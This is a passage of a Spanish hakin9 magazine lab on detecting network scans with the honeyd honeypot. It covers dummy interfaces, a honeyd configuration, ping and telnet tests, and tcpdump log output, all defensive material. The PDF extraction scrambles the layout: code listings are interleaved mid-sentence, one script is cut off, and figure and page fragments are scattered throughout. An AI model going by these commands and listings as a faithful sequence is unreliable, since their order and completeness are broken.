ataque en el estudio de los logs,<br />
cosa que permitirán contrarrestarlo<br />
de una manera más eficiente.<br />
Al igual que los Honeypots, la<br />
cantidad y calidad de información<br />
producida es muy importante, ya<br />
que cualquier actividad existente<br />
es sospechosa.<br />
Laboratorio: Honeypots<br />
Detectar intentos de ataques a<br />
nuestra red mediante el uso de honeypots.<br />
Prerrequisitos: Obtener<br />
el software Honeyd: software para<br />
la implementación de honeypots,<br />
http://www.honeyd.org Actividades:<br />
Interfaces de red virtuales<br />
Ejecute el comando ifconfig para<br />
ver que interfaces de red tiene su<br />
estación Linux, para hacer el laboratorio.<br />
Resultado 1.1: Que interfaces<br />
obtiene? El comando ifconfig -a debe<br />
mostrar las siguientes interfaces:<br />
(Listing 1)<br />
La interface loopback representa<br />
el stack de protocolo por defecto.<br />
Su sentido es probar conexiones<br />
simulando todo el stack TCP/IP. En<br />
este laboratorio la usaremos para<br />
nuestra práctica. La IP asociada<br />
a la interface de loopback es la<br />
127.0.0.1, y de hecho, por esa interface<br />
responde toda la subred<br />
127.0.0.0/8.<br />
Compruebe la conectividad hacia<br />
la IP de loopback. En concreto<br />
ejecute los siguientes comandos:<br />
ping 127.0.0.1<br />
ping 127.0.0.2<br />
Resultado 1.2: Que resultados obtiene?<br />
A que se debe? Indique el<br />
rango de IPs que contestaran a ping<br />
y verifíquelo.<br />
Respuesta:<br />
• Todos los IPs contestan por<br />
que esa es la función de la interface<br />
loopback, en particular<br />
El valor forense de los honeypots<br />
Listado 7. Tráfico de honeyp<br />
honeyd[566]: listening on lo: ip<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.2 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.3 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.3 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.4 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.4 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.5 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.5 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.6 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.100 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.200 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />
honeyd[566]: Sending ICMP Echo Reply: 192.168.100.254 -> 192.168.100.1<br />
…<br />
Listado 8. Logs<br />
tcpdump: listening on lo<br />
00:19:18.850198 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
00:19:18.850301 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
00:19:18.850732 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:18.850741 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:18.850810 uoc.32768 > uoc.domain: 59933+ PTR? 2.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:18.850815 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:18.850906 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:18.850911 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:18.850967 uoc.32768 > uoc.domain: 59934+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:18.850971 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:19.848096 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
00:19:19.848149 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
00:19:20.848091 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
00:19:20.848144 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
00:19:29.206180 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />
00:19:29.206256 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />
00:19:29.206553 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:29.206561 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:29.206622 uoc.32768 > uoc.domain: 59935+ PTR? 4.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
00:19:29.206626 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
00:19:30.198089 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />
00:19:30.198140 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />
00:19:31.198085 192.168.100.1 > 192.168.100.4: icmp: echo request (DF)<br />
00:19:31.198141 192.168.100.4 > 192.168.100.1: icmp: echo reply<br />
48 packets received by filter<br />
0 packets dropped by kernel<br />
www.<strong>hakin9</strong>.org/es<br />
45
kit<br />
sirve para hacer simulación del<br />
modelo cliente/servidor en forma<br />
local.<br />
Para probarlo se propone construir un<br />
shell que hace un ping para un solo<br />
intento hacia todos los Ips del segemento<br />
127.0.0.0, debiendo responder<br />
desde el IP 127.0.0.1 hasta el IP<br />
127.0.0.255 o broadcast: (Listing 2).<br />
Nota:<br />
• Observe los espacios antes y<br />
después del paréntesis cuadrado<br />
en la instrucción if [<br />
$sec…<br />
Para probarlo<br />
digite sh ping.sh 255 | tee<br />
resultado.txt<br />
Si mira el archivo resultado.txt debería<br />
ver lo siguiente: (Listado 3)<br />
Ahora generemos un entorno de<br />
simulación. Disponemos únicamente<br />
de un servidor con Linux y simularemos<br />
otro conjunto de hosts en la<br />
propia máquina para disminuir costos<br />
de recursos en hardware para el<br />
laboratorio:<br />
• Esta máquina la conectaremos a<br />
una subred, también con direccionamiento<br />
privado.<br />
Recordemos que el direccionamiento<br />
privado no figura en las<br />
tablas de routing de la red Internet.<br />
En concreto, para nuestra red simulada<br />
usaremos las direcciones<br />
192.168.100.0/24.<br />
Lo que nos proponemos en primer<br />
lugar es dar a la máquina una<br />
dirección de esa red. Como hemos<br />
supuesto que no disponemos de<br />
ninguna otra interface, generaremos<br />
una. Linux nos permite generar<br />
hasta 2 interfaces virtuales. Son<br />
las llamadas interfaces dummy.<br />
Así, conectaremos nuestro host de<br />
ejemplo a la subred 192.168.100.0<br />
con el comando:<br />
ifconfig dummy0 192.168.100.1 netmask<br />
255.255.255.0 up<br />
Listado 9. Verificacion de lineas<br />
create default<br />
set default personality "FreeBSD 2.2.1-STABLE"<br />
set default default tcp action block<br />
add default tcp port 80 "sh /tmp/web.sh"<br />
set default uid 1000 gid 1000<br />
bind 192.168.100.3 default<br />
set 192.168.100.3 uptime 1327650<br />
Listado 10. Realización de un ping al ip de servidor<br />
#!/bin/sh<br />
DATE=`date`<br />
cat
• La opcion netmask indica mascara<br />
de red<br />
• La opcion up indica que se habilite<br />
de inmediato<br />
Compruebe que la interface se ha<br />
creado, ejecutando nuevamente el<br />
comando:<br />
ifconfig –a<br />
Al acabar este apartado, debemos<br />
tener una máquina funcionando<br />
que responde a las IPs 127.0.0.1 y<br />
192.168.100.1.<br />
La red 192.168.100.0/24 la usaremos<br />
para colocar máquinas ‘trampa’<br />
para detectar cualquier intento de ataque<br />
que se esté produciendo en ella.<br />
Resultado 1.2: Compruebe la conectividad<br />
ejecutando ping a la nueva<br />
dirección. Compruebe tambien<br />
que interfaces presenta ahora el<br />
sistema (con el comando ifconfig -a).<br />
Respuesta: (Listado 4). Únicamente<br />
deben aparecer las dos interfaces lo<br />
y dummy0.<br />
Ahora pruebe las interfaces:<br />
(Listado 5). Los comandos ping anteriores<br />
prueban que las interfaces<br />
están dadas de alta pues responden<br />
al comando ping.<br />
Detección de escaneos<br />
y ataques. Configuración<br />
de un honeypot<br />
En la actualidad, muchos de los ataques<br />
que se producen en las redes<br />
tienen lugar mediante un proceso en<br />
dos fases: un escaneo previo para<br />
detectar máquinas susceptibles de<br />
ser atacadas, y el ataque posterior.<br />
El objetivo de este apartado es ser<br />
capaces de detectar esos ataques y<br />
guardar la información relevante.<br />
En el caso real, la red de nuestra<br />
organización sería la que en nues-<br />
Clasificación / taxonomía<br />
• Taxonomia de los honeypots<br />
• Honeypot de producción<br />
( Producción Honeypot System )<br />
• Honeypot de investigación<br />
( Research Honeypot System )<br />
El valor forense de los honeypots<br />
Listado 12. Obtención: log del comando tcpdump -ilo<br />
2006-01-25-18:39:06.0556 tcp(6) S 192.168.100.1 32804 192.168.100.3 80 [Linux<br />
2.4 lo0]<br />
2006-01-25-18:39:06.0556 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 44 SA<br />
2006-01-25-18:39:09.0749 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />
2006-01-25-18:39:11.0026 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />
2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A<br />
2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 552 A<br />
2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 74 A<br />
2006-01-25-18:39:11.0029 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 FA<br />
2006-01-25-18:39:11.0032 tcp(6) - 192.168.100.3 80 192.168.100.1 32804: 40 A<br />
2006-01-25-18:39:21.0038 tcp(6) E 192.168.100.1 32804 192.168.100.3 80: 9 058<br />
2006-01-25-18:39:27.0412 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:27.0412 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:28.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:28.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:29.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:29.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:30.0408 icmp(1) - 192.168.100.1 192.168.100.3: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:30.0409 icmp(1) - 192.168.100.3 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:38.0096 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:38.0096 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />
006-01-25-18:39:39.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:39.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:40.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:40.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />
2006-01-25-18:39:41.0088 icmp(1) - 192.168.100.1 192.168.100.254: 8(0): 84<br />
[Linux 2.4 lo0]<br />
2006-01-25-18:39:41.0089 icmp(1) - 192.168.100.254 192.168.100.1: 0(0): 84<br />
INTERNET<br />
DMZ<br />
WIRELESS<br />
SERVIDORE DATOS TITICOS<br />
Figura 1. Envios de paquete<br />
www.<strong>hakin9</strong>.org/es<br />
UTM<br />
LAN<br />
SWITCH<br />
WAN<br />
VLAN 8<br />
VLAN 7<br />
VLAN 6<br />
VLAN 5<br />
VLAN 4<br />
VLAN 3<br />
VLAN 2<br />
VLAN 1<br />
47
kit<br />
Listado 13. Interface<br />
tcpdump: listening on lo<br />
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:<br />
438126803(0) win 32767 (DF)<br />
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:<br />
1300529704(0) ack 438126804 win 16430 (DF)<br />
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767<br />
(DF)<br />
20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.379486 192.168.100.1.32773 > 192.168.100.3.www: P 1:430(429) ack 1<br />
win 32767 (DF)<br />
20:44:19.384103 192.168.100.3.www > 192.168.100.1.32773: . ack 430 win 16001<br />
20:44:19.442926 192.168.100.3.www > 192.168.100.1.32773: . 1:513(512) ack 430<br />
win 16430<br />
20:44:19.442951 192.168.100.1.32773 > 192.168.100.3.www: . ack 513 win 33768<br />
(DF)<br />
20:44:19.443284 192.168.100.3.www > 192.168.100.1.32773: . 513:1025(512) ack<br />
430 win 16430<br />
20:44:19.443291 192.168.100.1.32773 > 192.168.100.3.www: . ack 1025 win 33768<br />
(DF)<br />
20:44:19.443374 192.168.100.3.www > 192.168.100.1.32773: . 1025:1059(34) ack<br />
430 win 16430<br />
20:44:19.443379 192.168.100.1.32773 > 192.168.100.3.www: . ack 1059 win 33768<br />
(DF)<br />
20:44:19.443688 192.168.100.3.www > 192.168.100.1.32773: F 1059:1059(0) ack<br />
430 win 16430<br />
20:44:19.443803 192.168.100.1.32773 > 192.168.100.3.www: F 430:430(0) ack<br />
1060 win 33768 (DF)<br />
20:44:19.443835 192.168.100.3.www > 192.168.100.1.32773: . ack 431 win 16430<br />
20:44:22.165224 uoc.32774 > uoc.16001: S 446820472:446820472(0) win 32767<br />
<br />
(DF)<br />
20:44:22.165243 uoc.16001 > uoc.32774: R 0:0(0) ack 446820473 win 0 (DF)<br />
48 packets received by filter<br />
Listado 14. inicio de sesión<br />
dummy0 Link encap:Ethernet HWaddr 00:00:00:00:00:00<br />
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0<br />
inet6 addr: fe80::200:ff:fe00:0/64 Scope:Link<br />
UP BROADCAST RUNNING NOARP MTU:1500 Metric:1<br />
RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:3 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:0 (0.0 b) TX bytes:210 (210.0 b)<br />
48 www.<strong>hakin9</strong>.org/es<br />
tro ejemplo es la 192.168.100.0/24.<br />
Lo que vamos a hacer es incluir<br />
en ella un conjunto de máquinas<br />
‘honeypot’ que permitan detectar<br />
los ataques que en ella se producen.<br />
El funcionamiento de honeyd<br />
es muy simple y potente, esencialmente<br />
consiste en indicarle al<br />
software que escuche sobre una<br />
determinada dirección y que opere<br />
de una forma con los paquetes que<br />
reciba.<br />
En el directorio del usuario root<br />
cree un nuevo archivo de configuración<br />
llamado honey.cfg, para<br />
el servicio honeyd, por ejemplo:<br />
(Listado 6).<br />
Para enrutar el tráfico de la red<br />
192.168.100.0 ejecute el comando:<br />
route add -net 192.168.100.0/24 gw<br />
127.0.0.1<br />
La opción –net indica la red y la opción<br />
gw indica pasarela o gateway. Ahora<br />
inicie el servicio honeyd en la consola<br />
virtual CTRL-ALT-F2:<br />
honeyd -d -i lo -f honey.cfg -l<br />
log.honeyd<br />
La pantalla no muestra mensajes hasta<br />
que no e haga ping hacia la interface<br />
de red. Ahora haga ping en la consola<br />
virtual CTRL-ALT-F1:<br />
ping 192.168.100.2<br />
Observe el tráfico que el honeyd<br />
presenta en la consola virtual CTRL-<br />
ALT-F2:<br />
honeyd[566]: started with -d -i lo -f<br />
honey.cfg<br />
Warning: Impossible SI range in<br />
Class fingerprint Windows NT 4<br />
SP3 (Listado 7) El comando ping<br />
Definición de honeypot<br />
Se define Honeypot como un recurso<br />
de red destinado a ser atacado y comprometido<br />
por el atacante.<br />
El honeypot proporciona información<br />
sobre el atacante antes de que se comprometan<br />
los sistemas reales.
INTERNET<br />
DMZ<br />
WIRELESS<br />
SERVIDORE DATOS TITICOS<br />
Figura 2. Envios de paquete<br />
debe responder no solo al IP<br />
192.168.100.2 sino a cualquier IP<br />
del segmento, pruebe haciendo ping<br />
a varias IP de la red 192.168.100.0.<br />
Ahora al parar el servicio honeyd<br />
con las teclas CTRL-C, las IPs del<br />
segmento 192.168.100.0 no deben<br />
responder. !! Los servicios reales<br />
no pueden correr simultáneamente<br />
con la simulación honeyd !! Vuelva<br />
a subir el servicio honeyd en la<br />
consola virtual CTRL-ALT-F2, ahora<br />
observe el tráfico con un sniffer<br />
Listado 15. Tráfico de tipo DNS<br />
como tcpdump en la consola virtual<br />
CTRL-ALT-F3:<br />
tcpdump –i lo | tee logs.tcpdump<br />
Observemos los logs: (Listado 8)<br />
Se debería ver claramente el envío<br />
del requerimiento del comando ping<br />
y la respuesta respectiva, además<br />
se debería ver que el trafico DNS<br />
muestra que no se puede resolver<br />
la reversa del IP 192.168.100.2 es<br />
decir específicamente el registro<br />
20:44:19.378034 192.168.100.1.32773 > 192.168.100.3.www: S 438126803:<br />
438126803(0) win 32767 (DF)<br />
20:44:19.378178 192.168.100.3.www > 192.168.100.1.32773: S 1300529704:<br />
1300529704(0) ack 438126804 win 16430 (DF)<br />
20:44:19.378191 192.168.100.1.32773 > 192.168.100.3.www: . ack 1 win 32767<br />
(DF)<br />
Listado 16. Secuencia del tráfico<br />
UTM<br />
WAN<br />
VLAN 8<br />
20:44:19.378803 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378814 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378844 uoc.32768 > uoc.domain: 4448+ PTR? 3.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378849 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378902 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378906 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
20:44:19.378921 uoc.32768 > uoc.domain: 4449+ PTR? 1.100.168.192.inaddr.arpa.<br />
(44) (DF)<br />
20:44:19.378925 uoc > uoc: icmp: uoc udp port domain unreachable [tos 0xc0]<br />
LAN<br />
SWITCH<br />
VLAN 7<br />
VLAN 6<br />
VLAN 5<br />
VLAN 4<br />
VLAN 3<br />
VLAN 2<br />
VLAN 1<br />
www.<strong>hakin9</strong>.org/es<br />
49
kit<br />
PTR no puede ser resuelto. Creación<br />
de un honeypot para capturar<br />
el tráfico del puerto 80 sobre el IP<br />
192.168.100.3. Modifique el archivo<br />
honey.cfg para que:<br />
• Responda al tráfico ICMP<br />
• Tenga abierto el puerto 80 TCP<br />
• Cuando reciba una petición por el<br />
puerto 80 TCP ejecute el comando<br />
sh /tmp/web.sh y guarde los<br />
intentos de ataque en un log.<br />
Resultado 2.1: Que posibles utilidades<br />
se ven en este software en el diario vivir<br />
de una organización conectada a Internet?<br />
Como ayudaría en la detección de<br />
Listado 17. Análisis del tráfico<br />
problemas? Respuesta: Cree un nuevo<br />
archivo de configuración honey.cfg<br />
para que aparezcan los nuevos requerimientos:<br />
(Listado 9) Nota:<br />
• Es clave la instrucción set default<br />
default tcp action block para que<br />
el servidor web responda al requerimiento.<br />
Si prueba todas las<br />
posibilidades únicamente “block”<br />
funcionara.<br />
• La ruta para el shell web.sh en<br />
knoppix-std es: /usr/share/doc/<br />
honeyd/examples/web.sh<br />
• La ruta para el shell web.sh en<br />
Linux Auditor es: /usr/share/<br />
honeyd/scripts/web.sh<br />
50 www.<strong>hakin9</strong>.org/es<br />
Honeynets<br />
Se define a Honeynet como un conjunto<br />
de Honeypots altamente interactivos<br />
diseñados para la investigación y la<br />
obtención de información sobre atacantes.<br />
Honeynet es una arquitectura, no<br />
un producto o un software deteminado.<br />
El objetivo es el de hacer creer al<br />
atacante que esta ante una red “real”<br />
entonces se deben anadir los distintos<br />
elementos que conforman una arquitectura<br />
de red.<br />
Haga una copia hacia la carpeta<br />
/tmp y verifique que el shell web.sh<br />
contenga las siguientes líneas:<br />
22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:2386902885(0) win 32767 (DF) [tos 0x10]<br />
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:3385644204(0) ack 2386902886 win 16430 <br />
(DF)<br />
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767 (DF) [tos 0x10]<br />
22:26:50.641214 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:50.641461 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:51.641205 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:51.641303 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:52.641208 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:52.641324 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:53.641207 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:53.641315 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:54.641204 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:54.641299 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:55.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:55.641290 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:55.854772 192.168.100.1.32782 > 192.168.100.3.www: P 1:17(16) ack 1 win 32767 (DF) [tos 0x10]<br />
22:26:55.854815 192.168.100.3.www > 192.168.100.1.32782: . ack 17 win 16414<br />
22:26:56.564418 192.168.100.1.32782 > 192.168.100.3.www: P 17:19(2) ack 1 win 32767 (DF) [tos 0x10]<br />
22:26:56.564479 192.168.100.3.www > 192.168.100.1.32782: . ack 19 win 16428<br />
22:26:56.567622 192.168.100.3.www > 192.168.100.1.32782: . 1:513(512) ack 19 win 16430<br />
22:26:56.567636 192.168.100.1.32782 > 192.168.100.3.www: . ack 513 win 33768 (DF) [tos 0x10]<br />
22:26:56.567664 192.168.100.3.www > 192.168.100.1.32782: . 513:1025(512) ack 19 win 16430<br />
22:26:56.567669 192.168.100.1.32782 > 192.168.100.3.www: . ack 1025 win 33768 (DF) [tos 0x10]<br />
22:26:56.567693 192.168.100.3.www > 192.168.100.1.32782: . 1025:1059(34) ack 19 win 16430<br />
22:26:56.567698 192.168.100.1.32782 > 192.168.100.3.www: . ack 1059 win 33768 (DF) [tos 0x10]<br />
22:26:56.632032 192.168.100.3.www > 192.168.100.1.32782: F 1059:1059(0) ack 19 win 16430<br />
22:26:56.641218 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:56.671194 192.168.100.1.32782 > 192.168.100.3.www: . ack 1060 win 33768 (DF) [tos 0x10]<br />
22:26:56.682492 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:56.682629 192.168.100.1.32782 > 192.168.100.3.www: F 19:19(0) ack 1060 win 33768 (DF) [tos 0x10]<br />
22:26:56.682659 192.168.100.3.www > 192.168.100.1.32782: . ack 20 win 16430<br />
22:26:57.641210 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:57.641298 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:58.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:58.641275 192.168.100.2 > 192.168.100.1: icmp: echo reply
(Listado 10). Ahora reinicie el servicio<br />
honeyd con el nuevo archivo<br />
de configuración, hágalo en la consola<br />
virtual CTRL-ALT-F2. Baje el<br />
servicio cancelando el proceso con<br />
la secuencia de teclas CTRL-C:<br />
honeyd -d -i lo -f honey.cfg -l<br />
log.honeyd<br />
Ejecute los siguientes comandos en la<br />
terminal virtual CTRL-ALT F1:<br />
Pruebe que el servidor web responda:<br />
telnet 192.168.100.3 80<br />
Trying 192.168.100.3...<br />
to 192.168.100.3. Escape character is<br />
'^]'.<br />
Digite:<br />
GET /<br />
Y dos veces la tecla enter. Vera<br />
una pantalla del servidor MS Windows<br />
simulada por linux. Haga un<br />
ping al IP del servidor 192.168.100.3:<br />
(Listado 11) Se deben obtener los<br />
siguientes logs en el tcpdump: (Listado<br />
12)<br />
Evaluación del tráfico<br />
de red generado desde<br />
y hacia el honeypot<br />
Uno de los programas más usados<br />
actualmente para la captura de tráfico<br />
es ethereal. En este apartado<br />
lo usaremos para capturar el tráfico<br />
Sobre el Autor<br />
Armando Carvajal-Ingeniero de Sistemas<br />
de la Universidad INCCA de Colombia,<br />
postgrado en Construcción de<br />
Software para redes de la Universidad<br />
de los Andes. Se desempeña como gerente<br />
técnico de la empresa Globaltek<br />
Security.<br />
Bibliografía<br />
www.Honeynet.org<br />
Grime,R., A.(2005). Honeypots for Windows,<br />
Editorial Apres<br />
Spitzne, L. (2003). Honeypots, Tracking<br />
Hackers, Addison Wesley<br />
El valor forense de los honeypots<br />
Listado 18. Análisis del tráfico<br />
22:26:47.647867 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:47.648175 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:48.641215 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:48.641333 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
22:26:49.641206 192.168.100.1 > 192.168.100.2: icmp: echo request (DF)<br />
22:26:49.641309 192.168.100.2 > 192.168.100.1: icmp: echo reply<br />
Listado 19. Analisis de trafico<br />
22:26:49.981941 192.168.100.1.32782 > 192.168.100.3.www: S 2386902885:<br />
2386902885(0) win 32767 (DF) [tos 0x10]<br />
22:26:49.982318 192.168.100.3.www > 192.168.100.1.32782: S 3385644204:<br />
3385644204(0) ack 2386902886 win 16430 (DF)<br />
22:26:49.982332 192.168.100.1.32782 > 192.168.100.3.www: . ack 1 win 32767<br />
(DF) [tos 0x10]<br />
de la sesión http generado en el<br />
apartado anterior. Una primera<br />
introducción a la captura de tráfico<br />
la hemos comentado en el apartado<br />
anterior. La utilidad tcpdump<br />
permite la captura de tráfico. La<br />
forma más simple es mediante la<br />
ejecución de:<br />
tcpdump –i <br />
Revise el sitio: http://www.arrakis.es/<br />
~terron/tcpdump.html<br />
Resultado 3.1: Ejecute el comando<br />
tcpdump y realiza una conexión<br />
web como la solicitada en la parte II<br />
de la practica. Observe los paquetes<br />
e identifique la conexión tcp que<br />
INTERNET<br />
DMZ<br />
WIRELESS<br />
SERVIDORE DATOS TITICOS<br />
Figura 3. Envios de paquete<br />
www.<strong>hakin9</strong>.org/es<br />
UTM<br />
tiene lugar. ¿Es posible capturar paquetes<br />
ARP? ¿A que se debe?<br />
Respuesta: Se debería ver algo<br />
como este log del comando tcpdump<br />
-i lo (Listado 13) Las anteriores líneas<br />
no muestran tráfico ARP, es decir no<br />
se puede capturar tráfico ARP debido<br />
a que la interface de red dummy0 no<br />
tiene el flag ARP activado por que esta<br />
no tiene MAC.<br />
En concreto la interface no tiene<br />
MAC Address, el protocolo ARP<br />
dado un IP responde con la MAC<br />
address de la interface de red y esta<br />
no lo tiene pues es virtual.<br />
Si revisa el archivo /proc/net/arp<br />
no contiene Mac Address pues en<br />
esta maquina no hay tarjetas físicas<br />
LAN<br />
SWITCH<br />
WAN<br />
VLAN 8<br />
VLAN 7<br />
VLAN 6<br />
VLAN 5<br />
VLAN 4<br />
VLAN 3<br />
VLAN 2<br />
VLAN 1<br />
51
kit<br />
